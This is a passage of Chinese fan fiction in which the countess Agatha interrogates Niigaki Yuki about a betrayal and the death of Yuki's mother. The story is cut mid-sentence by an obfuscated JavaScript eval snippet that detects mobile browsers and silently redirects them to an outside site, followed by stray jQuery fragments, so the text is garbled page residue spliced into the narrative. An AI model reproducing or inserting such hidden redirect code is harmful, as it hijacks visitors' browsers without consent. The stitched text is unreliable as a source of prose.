“你之前没怀疑过奥斯汀？”新垣祐希问阿加莎。
“简长着一张很容易取得别人信任的脸，再加上奥斯汀公爵亲手为女儿写下的申请书，我没怀疑过这个冒失逃婚的大小姐。”阿加莎无奈一笑，“也是灯下黑。”
因着奥斯汀的家世，因着奥斯汀只认识魏尔伦一人，两人也只是普通朋友关系，联系不多，阿加莎很长一段时间都没意识到奥斯汀的不对劲。
彼时存在一些零散的内部泄密，但比起异能平庸的奥斯汀，更惹人怀疑的内鬼，是明面上就与魏尔伦关系匪浅的狄更斯。
奥斯汀自认不是能力超群之人，也没有什么高大的志向，钟塔之侍的人善待了她，让她体会到了从劳动中获取成就感的快乐，她愿意留在这里……额，混日子。
直到，七年前黄昏之馆的事变发生。
第一个向黄昏之馆泄密的人，其实不是狄更斯，而是奥斯汀。
“可惜，我当时被‘傲慢’捂住了眼睛，将错就错地误会了这么多年，直到最近女王提醒，才察觉到这个细节，是我的失职。”阿加莎略带叹息道。
束缚架上的奥斯汀突然剧烈抽搐，晶体化的手指诡异地弯曲，在空气中划出一个密码节奏——黄昏之馆的紧急联络信号。
“看，她到现在还在演戏。”阿加莎松开手，语气近乎欣赏，“值得吗？为了早已覆灭的组织，把自己变成这副模样。”
新垣祐希缓缓跪倒在地。
冰凉的金属地面透过衣物刺痛膝盖，但比不过心中的寒意。她终于明白，自己所有的逃跑尝试，不过是在重复别人设计好的剧本。
“放开她。”她轻声道。
阿加莎挑眉：“什么？”
“我说，放开她。”新垣祐希抬起头，眼中第一次没有恐惧也没有愤怒，只有深不见底的平静，“我放弃逃跑。你们想要什么？【时空切割率】的能力？‘书页’的感应？我都配合。”
女爵的红唇弯起弧度：“条件？”
“治疗奥斯汀。给她应有的尊严。”新垣祐希站起身，直视阿加莎的眼睛，“并且告诉我，魏尔伦到底在【时空切割率】里藏了什么，值得你们如此大动干戈。”
寂静在牢笼中蔓延。
只有仪器滴答作响，像是为某个重大决定倒计时。
良久，阿加莎轻轻鼓掌。
“明智的选择。”她挥手示意守卫解除束缚装置，“欢迎与钟塔之侍合作，新垣祐希小姐——如果可以，我希望你进一步考虑，加入钟塔之侍。”
“可以带奥斯汀去休息了。”
当奥斯汀被轻轻放上担架时，奥斯汀的手指几不可察地勾住新垣祐希的衣角。
新垣祐希俯身倾听，只听到气若游丝的两个字：“别信……”
新垣祐希面无表情地直起身，对阿加莎露出第一个程式化的微笑：“现在，我们可以谈谈具体合作事宜了，女爵大人。”
转身离开牢笼时，她在金属墙壁的倒影里看见自己——那双曾经澄澈的眼睛里，有什么东西彻底死去了，又有新的东西在深渊中苏醒。
似乎是看透了新垣祐希的心思，阿加莎嘴角勾起微笑：“我大概能猜到奥斯汀跟你说了什么，好好谈谈吧，新垣。”
新垣祐希坐直了，点了点头：“那我问，你回答，你可以不说话，但请不要骗我。”
“可以。”阿加莎点头。
“七年前的‘黄昏之馆’到底发生了什么？伦敦屠城般的灾难，是你导致的吗？”新垣祐希开口问道。
“你要先正视一个事实，即在十多年前的战争结束后，整个欧洲未在发生过屠城级别的巨大灾难，更没有发生在大都市伦敦——没有任何相关的报道和佐证。”阿加莎说道。
“你在叠甲，”新垣祐希平静道，“也就是说，那被回溯的灾难，你是主责。”
“还真是咄咄逼人，”阿加莎叹了口气，“谁也不想灾难发生，只能说，那是一场令人扼腕叹息的悲剧。”
“不要左顾右言其他，说回正题，比如——克莱尔的死亡。”新垣祐希动了动嘴唇，说出了母亲的化名。
“克莱尔……是的，一位拥有非凡异能的女士。她的逝去是整个异能界的损失。”阿加莎的声音温和而富有磁性，却像包裹着天鹅绒的钢铁，“那场与‘黄昏之馆’的冲突……是一场悲剧，一场谁都不愿看到的意外，战争，亲爱的孩子，总是伴随着无法预料的牺牲。”
“意外？”新垣祐希的眼眸锐利起来，“我查阅过所有能找到的碎片记录。那场冲突的规模本不该导致那种结局。克莱尔的能力是操控时空，即便不敌，她若想走，谁能留下她？”
阿加莎微微倾身，烛光在她深邃的眼眸中跳动，显得高深莫测：“你果然是能感受到的，【时空切割率】异能的继承者，克莱尔意志选中的少女。”
“有时，会闪过一些零星的回忆。”新垣祐希扶额说着。
“啊，能力的强大与否，并非决定生死的唯一因素。有时，信念、守护之志，甚至是……一个小小的误判，都足以扭转战局。魏尔伦和兰波先生当时也深陷重围，克莱尔是为了掩护他们……”阿加莎说着。
“不要用这种模糊的话语搪塞我！”新垣祐希的声音提高了几分“我知道是女王陛下在背后推动了那场争斗！我也知道，最终下令围杀克莱尔的，就是你们‘钟塔之侍’！”
“兰波先生或许杀了人，但这一点，你无法辩驳。”
阿加莎脸上的惋惜神色稍稍褪去，取而代之的是一种审慎的、近乎冷酷的平静。
她并未直接否认，而是如同一位高超的棋手，轻轻拨弄着话语的棋子。
“孩子，你追寻真相的勇气令人动容。但真相往往如同伦敦的迷雾，从不同角度看去，会呈现不同的形态。”她十指交叉，置于下颌，“你说‘下令围杀’？这指控过于沉重了。当时的命令，或许仅仅是‘限制’或‘捕获’那位能搅乱时空的女士。毕竟，她的能力太过危险。”
阿加莎说着顿了顿，观察着新垣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348790|150646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祐希紧绷的表情，继续用那种带着微妙暗示的语气说道：“然而，战场上的情况瞬息万变。士兵们面对无法理解的强大力量，恐惧会压倒理智……为了自保，或者为了保护同僚，他们可能会……过度反应。当无数的攻击从四面八方袭来，即便是能回溯时间的异能，恐怕也难以及时应对所有致命的瞬间吧？”
新垣祐希的拳头悄然握紧。
阿加莎的话语像毒蛇一样钻进她的脑海，试图描绘另一幅画面——不是蓄意谋杀，而是一场由恐惧、误会和战场混乱交织成的“意外”。
但她话语中刻意强调的“无法理解”、“恐惧”、“过度反应”、“四面八方”，却又残忍地勾勒出当年的惨状：克莱尔或许并非死于一对一的公平对决，而是陷入了早有预谋、针对她能力特点设计的围攻陷阱，最终力竭或被无数同时发动的、来自死角的攻击所淹没。
新垣祐希自认自己的实力不弱，母亲只会比她更强，想杀她绝对没那么容易。
“过度反应？”新垣祐希的声音冰冷刺骨，“所以，你是想告诉我，克莱尔的死，只是一群士兵在恐慌下的失控，与钟塔高层的决策无关？与女王的意愿无关？”
阿加莎露出一丝几乎算是宽容的微笑：“我理解你的痛苦和怀疑。异能传承中记忆的创伤需要寻找一个明确的责任者来承担。但将一切归咎于一个庞大的组织或至高的意志，有时会让你忽略掉悲剧中那些更复杂、更偶然的因素。我们‘钟塔之侍’遵循规则与秩序，即便是在对抗中。”
新垣祐希被她的诡辩气得不想说话。
她轻轻挥了挥手，仿佛要拂去空气中不愉快的尘埃：“七年过去了，旧日的伤口何必再次揭开？执着于过去的阴影，只会阻碍你拥抱自己的未来。你继承了如此强大的异能，应当有更广阔的天地，而非被仇恨囚禁。”
新垣祐希沉默了半晌，她看穿了阿加莎的话术——撇清最高层的直接责任，将罪行推给战场混乱和下级执行者的“失控”，同时用虚伪的同情和关于未来的空泛建议来麻痹她。
最终，新垣祐希缓缓抬起头，眼中的脆弱已被彻底碾碎，只剩下冰冷的决意。
“阿加莎·克里斯蒂女爵，你的话语如同精心编织的蛛网，看似缜密，却充满了误导与逃避。你无法否认钟塔的手沾染了克莱尔的血。你今日的每一句狡辩、每一次暗示，都只是让我更加确信——”
新垣祐希的身体周围开始浮现出极其微弱、却让空间微微扭曲的苍银色光晕。
“——你们在害怕。害怕当年的真相被彻底揭开，害怕【时空切割率】的怒火会跨越七年的时光，降临到你们头上。”
“迷雾终会散去，女爵。而我，就是吹散迷雾的那阵风。克莱尔的时钟或许曾在七年前被迫停摆，但我的……才刚刚开始转动。”
阿加莎愣住了，脸上那从容的面具缓缓消失。
她看向窗外无尽的雨夜，眼神深处掠过一丝极其罕见的、对于不可控事物以及那即将复苏的时空之力的凝重。